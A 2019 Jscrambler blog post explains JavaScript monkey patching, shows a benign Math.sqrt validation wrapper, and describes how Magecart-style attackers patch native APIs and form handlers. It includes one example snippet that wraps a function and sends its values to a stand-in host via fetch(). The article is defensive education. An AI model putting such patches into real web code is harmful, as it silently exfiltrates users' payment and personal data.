Monkey Patching: An Analysis of Code Poisoning JavaScript
October 15th, 2019 | By Jscrambler | 6 min read
Monkey patching enables dynamically changing the behavior of JavaScript. While it can be used legitimately, it can also allow attacks like Magecart. You have probably heard this countless times: JavaScript is a dynamic language. But have you ever considered what this entails for the security of your application?
One of the quirks of JavaScript is the ability to redefine the behavior properties and methods provided by the browser APIs and interfaces at runtime. It is also possible to redefine your functions or objects into something else if your application requires it. This functionality is often called monkey patching.
Traditionally, monkey patching refers to dynamic modifications of existing classes or methods at runtime to change the behavior of third-party code. Usually, this enables better fulfillment of the needs of your application.
There are many ways to patch our code. Some are permitted or expected, and others are considered hacky.
Examples of expected patching are:
Method overriding: Class overriding a method whose parent class already had an implementation. This is a default feature in common Object-Oriented Programming languages.
Method overloading: Multiple versions of the same method accept a different number or type of arguments.
Aspect-Oriented Programming: A paradigm that can change the program's behavior when some functionality is executed.
However, in the context of JavaScript, we discuss raw hacking or patching, i.e., dynamically replacing a method or field with another functionality and potentially reusing the original one.
How does monkey patching work?
Monkey patching is nothing more than reassigning a property or a function to another function.
Imagine that you originally had an addition function in which an application invoked the add function with two arguments and returned five.
Now, you want to change the behavior of the add function with new functionality.
To simplify, we want to augment the result by one unit. This could be done by directly changing the source code. However, when you don't have access to the source code before execution, e.g., dynamically generated code or native APIs, you can dynamically monkey patch that function by replacing it with a new function that adds that logic.
Hence, replace the original add function with a new one that invokes the original version to get the correct value, adds one to its result, and returns the new patched value.
In this example, we could use the complete body of the original function. However, this might not be feasible for more complex functions or functions natively implemented by the engine. Thus, we can use an "intermediate" to add new logic to functionality and maintain and use the original functionality if needed.
This concept can be used in different contexts and for several purposes:
Logging and traceability: Logging the execution of a function or implementing tracing maneuvers;
Input/Output validation: Making sure the correct type of values are used in functions;
Security fixes: Applying patches to discovered vulnerabilities in the application;
Polyfills: Creating alternative functions to be compatible with older systems;
Caching: Creating mechanisms to cache results and optimize execution.
The code snippet below is a simple example of monkey patching for logging the execution of a native JavaScript function. The idea for this example is to validate the input argument of the square root function and throw an exception when an invalid input (not a positive number) is given.
The example starts by keeping the original version in memory by assigning it to a local variable. Then, it overrides the property of the original one with a new function that includes the logic for the input value validation.
The original version is used to calculate the square root of a number.
var originalSqrt = Math.sqrt;
Math.sqrt = function(value){
if (isNaN(value))
throw 'The value is not a number';
if(value < 0)
throw 'Value must be a positive number'
//...
return originalSqrt(value);
}
//...
Math.sqrt('Hello'); // > The value is not a number
Math.sqrt(-2); // > Value must be a positive number
Math.sqrt(9); // > 3
Don't overuse it!
Problems can occur in two scenarios: you are a third-party library developer, or your application relies on third-party libraries. In that case, if you change the behavior of the native APIs used by the scripts, you can cause erroneous behavior in the application, which can, in turn, introduce security vulnerabilities in the code.
If you own all the source code of an application, you are the only one capable of monkey patching methods. Nevertheless, you must be careful not to break your program's logic and expected behavior.
As a result, your code can become harder to understand and, consequently, more difficult to maintain.
What can others do with your application?
Browsers provide several APIs and interfaces to help developers create better applications.
They can help in establishing network connections, making visual changes to the application, or even providing cryptographic functions when needed. However, they also enable the developers to change those Native APIs so their functionality matches what the application requires.
Those changes usually have the goal of adding more functionality to certain specific methods, like, for instance, parsing and evaluating the input of those methods for any invalid values.
The problem is that attackers can patch the Native APIs! Using browser APIs and interfaces, they can extract information from your application, resulting in a massive (and silent) data breach.
Continuing with the previous example, an attacker can output the values being used by the function to do the calculation.
The attacker will not be modifying the expected behavior of the function but might be extracting possible sensitive information to be used later.
var originalAdd = add;
add = function(a,b){
var result = originalAdd(a,b);
fetch("http://www.eavesdrop.com?a="+a+"&b="+b+"&result="+result);
return result;
}
add(2,3); //sends to http://www.eavesdrop.com?a=2&b=3&result=5
> 5
How far can the attackers take it?
Imagine that we have a browser API sending a network message to a server, requesting the transfer of money to another account.
An attacker could change that particular API to monitor all outgoing requests. When a request goes through it, the function can change the recipient of the transfer to the attacker, stealing the money without any alert to the user.
Another way for an attacker to achieve the same objective could be by changing the function that is used when a user presses the submit button on a form.
On the Web, forms are widely used to submit sensitive information such as credit card numbers, credentials, and personally identifiable information (PII), all of which are valuable data to attackers who are highly motivated to illegally access or steal them.
The attack vector commonly known as Magecart uses this approach to skim the credit card details of E-Commerce customers. This approach has been so successful so far that Magecart has been detected over 2 million times and infected over 100,000 stores to date. Among the websites that fell prey to Magecart credit card skimmers, we have British Airways, which in 2018 suffered a breach that leaked the credit card information of roughly 500,000 customers.
Ways to keep your application secure
If you have an application and rely on third-party libraries, the bottom line is that they broaden the attack surface of your application.
To address this threat, consider testing the Native APIs you are using on your code. This is useful to detect if any library is making changes to commonly used functions. By introducing these tests in your pipeline, you can detect if a dependency has been compromised in a staging environment before pushing the vulnerable code to production.
The following list contains some of the most common functions that can be targeted by attackers to exploit your application or the data from your users:
eval function
onClick events
onSubmit events
Fetch API
XMLHttpRequest API
Many others exist and will depend on the scope of your application.
Lastly, to check if a third-party script is making these malicious changes at runtime, you should make sure that you are monitoring the client-side of your application in real-time.
A webpage monitoring solution immediately issues an alert when a third-party script tries to monkey patch your application code and triggers countermeasures to block the attack.
To see our product in action, request a meeting with Jscrambler's team.
Jscrambler
The leader in client-side Web security. With Jscrambler, JavaScript applications become self-defensive and capable of detecting and blocking client-side attacks like Magecart.
View All ArticlesMust read next
Closing Security Gaps in Mobile Apps With Source Code Protection
As mobile apps across the globe keep being breached, closing security gaps and protecting the source code is key to fend attackers off and reduce the attack surface.
September 29, 2020 | By Pedro Fortuna | 3 min read
Source Code Protection in Hybrid Mobile Apps
Hybrid mobile apps have become key business assets. To prevent client-side attacks, companies must protect their JavaScript and native source code.
December 14, 2020 | By Pedro Fortuna and Neal Michie | 2 min read